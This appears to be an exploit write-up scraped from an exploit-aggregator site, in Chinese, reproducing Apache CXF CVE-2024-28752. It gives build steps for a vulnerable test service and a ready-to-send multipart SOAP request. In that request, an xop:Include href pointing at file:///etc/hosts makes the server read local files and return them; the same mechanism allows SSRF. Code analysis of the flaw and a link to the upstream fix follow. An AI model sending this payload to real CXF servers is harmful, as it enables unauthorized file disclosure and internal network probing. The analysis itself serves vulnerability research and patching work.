Share
## https://sploitus.com/exploit?id=80B8367B-409D-54EB-AE97-67EB1BE707CD
## Apache CXF CVE-2024-28752 复现环境

> 漏洞公告:https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt

### 环境启动

> [samples/java_first_jaxws_factory_bean](https://github.com/apache/cxf/tree/main/distribution/src/main/release/samples/java_first_jaxws_factory_bean)

#### IDEA

通过 [ServerStarter.java](./src/main/java/ServerStarter.java) 启动 webservice 服务

#### 构建

> 使用 JDK8

```bash
mvn clean package

java -jar target/cxf.jar
```

### 漏洞利用

使用 BurpSuite 发送如下请求即可触发。

```http request
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/related; boundary=----kkkkkk123123213
Content-Length: 472
Connection: close

------kkkkkk123123213
Content-Disposition: form-data; name="1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
   <soapenv:Header/>
   <soapenv:Body>
      <web:test>
         <arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hosts"></xop:Include></count>
</arg0>
      </web:test>
   </soapenv:Body>
</soapenv:Envelope>
------kkkkkk123123213--

```

![burp.png](./asserts/burp.png)

### 漏洞分析

以下是文件读取的堆栈,xop:Include 标签是由 MTOMDecorator 这个类来解析的。

```text
<init>:93, FileInputStream (java.io)
connect:90, FileURLConnection (sun.net.www.protocol.file)
getInputStream:188, FileURLConnection (sun.net.www.protocol.file)
openStream:1092, URL (java.net)
getInputStream:107, URLDataSource (javax.activation)
get:181, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
length:212, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
_parseInt:94, DatatypeConverterImpl (com.sun.xml.internal.bind)
parse:725, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
parse:723, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
text:54, TextLoader (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
text:572, UnmarshallingContext (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
startElement:92, MTOMDecorator (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
handleStartElement:231, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
bridge:165, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal0:400, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal:379, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
doUnmarshal:887, JAXBEncoderDecoder (org.apache.cxf.jaxb)
access$200:103, JAXBEncoderDecoder (org.apache.cxf.jaxb)
run:926, JAXBEncoderDecoder$3 (org.apache.cxf.jaxb)
doPrivileged:-1, AccessController (java.security)
unmarshall:924, JAXBEncoderDecoder (org.apache.cxf.jaxb)
unmarshall:744, JAXBEncoderDecoder (org.apache.cxf.jaxb)
read:172, DataReaderImpl (org.apache.cxf.jaxb.io)
handleMessage:109, DocLiteralInInterceptor (org.apache.cxf.wsdl.interceptors)
doIntercept:308, PhaseInterceptorChain (org.apache.cxf.phase)
onMessage:121, ChainInitiationObserver (org.apache.cxf.transport)
```

href 内容是由 AttachmentUnmarshaller 这个类进行处理。

```java
class MTOMDecorator implements XmlVisitor {
    public void startElement(TagName tagName) throws SAXException {
        if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
            String href = tagName.atts.getValue("href");
            DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
            if (attachment == null) {
                this.parent.getEventHandler().handleEvent((ValidationEvent) null);
            }

            this.base64data.set(attachment);
            this.next.text(this.base64data);
            this.inXopInclude = true;
            this.followXop = true;
        } else {
            this.next.startElement(tagName);
        }
    }
}
```

AttachmentUnmarshaller 默认实现类为 `com.sun.xml.internal.ws.message.AttachmentUnmarshallerImpl`,其只处理当前
attachments 中有的内容。

```java
public final class AttachmentUnmarshallerImpl extends AttachmentUnmarshaller {

    public DataHandler getAttachmentAsDataHandler(String cid) {
        Attachment a = this.attachments.get(this.stripScheme(cid));
        if (a == null) {
            throw new WebServiceException(EncodingMessages.NO_SUCH_CONTENT_ID(cid));
        } else {
            return a.asDataHandler();
        }
    }

    private String stripScheme(String cid) {
        if (cid.startsWith("cid:")) {
            cid = cid.substring(4);
        }

        return cid;
    }
}
```

而在 Apache CXF 中,实现类为 `org.apache.cxf.jaxb.attachment.JAXBAttachmentUnmarshaller`,扩展了这部分的实现。

`file:///` 或是 `http://xxx` 这种常见 SSRF payload 将会初始化一个 URLDataSource。官方的修复方案也是在此处
[apache/cxf@659a8](https://github.com/apache/cxf/commit/659a8f9b10bc8037774c0399e61e77e3955fd230)

```java
public final class AttachmentUtil {
    public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
        if (contentId.startsWith("cid:")) {
            try {
                contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
            } catch (UnsupportedEncodingException var3) {
                contentId = contentId.substring(4);
            }
            return loadDataSource(contentId, atts);
        } else if (contentId.indexOf("://") == -1) {
            return loadDataSource(contentId, atts);
        } else {
            try {
                return new URLDataSource(new URL(contentId));
            } catch (MalformedURLException e) {
                throw new Fault(e);
            }
        }
    }
}

public class URLDataSource implements DataSource {
    public InputStream getInputStream() throws IOException {
        return this.url.openStream();
    }
}
```

最后 Base64Data 会调用 getInputStream 触发 url.openStream() 来读取数据并使用 Base64 格式编码传输。

```java
public final class Base64Data extends Pcdata {
    public byte[] get() {
        if (this.data == null) {
            try {
                ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
                InputStream is = this.dataHandler.getDataSource().getInputStream();
                baos.readFrom(is);
                is.close();
                this.data = baos.getBuffer();
                this.dataLen = baos.size();
            } catch (IOException var3) {
                this.dataLen = 0;
            }
        }

        return this.data;
    }

    public void writeTo(char[] buf, int start) {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, buf, start);
    }

    public void writeTo(UTF8XmlOutput output) throws IOException {
        this.get();
        output.text(this.data, this.dataLen);
    }

    public void writeTo(XMLStreamWriter output) throws IOException, XMLStreamException {
        this.get();
        DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, output);
    }
}
```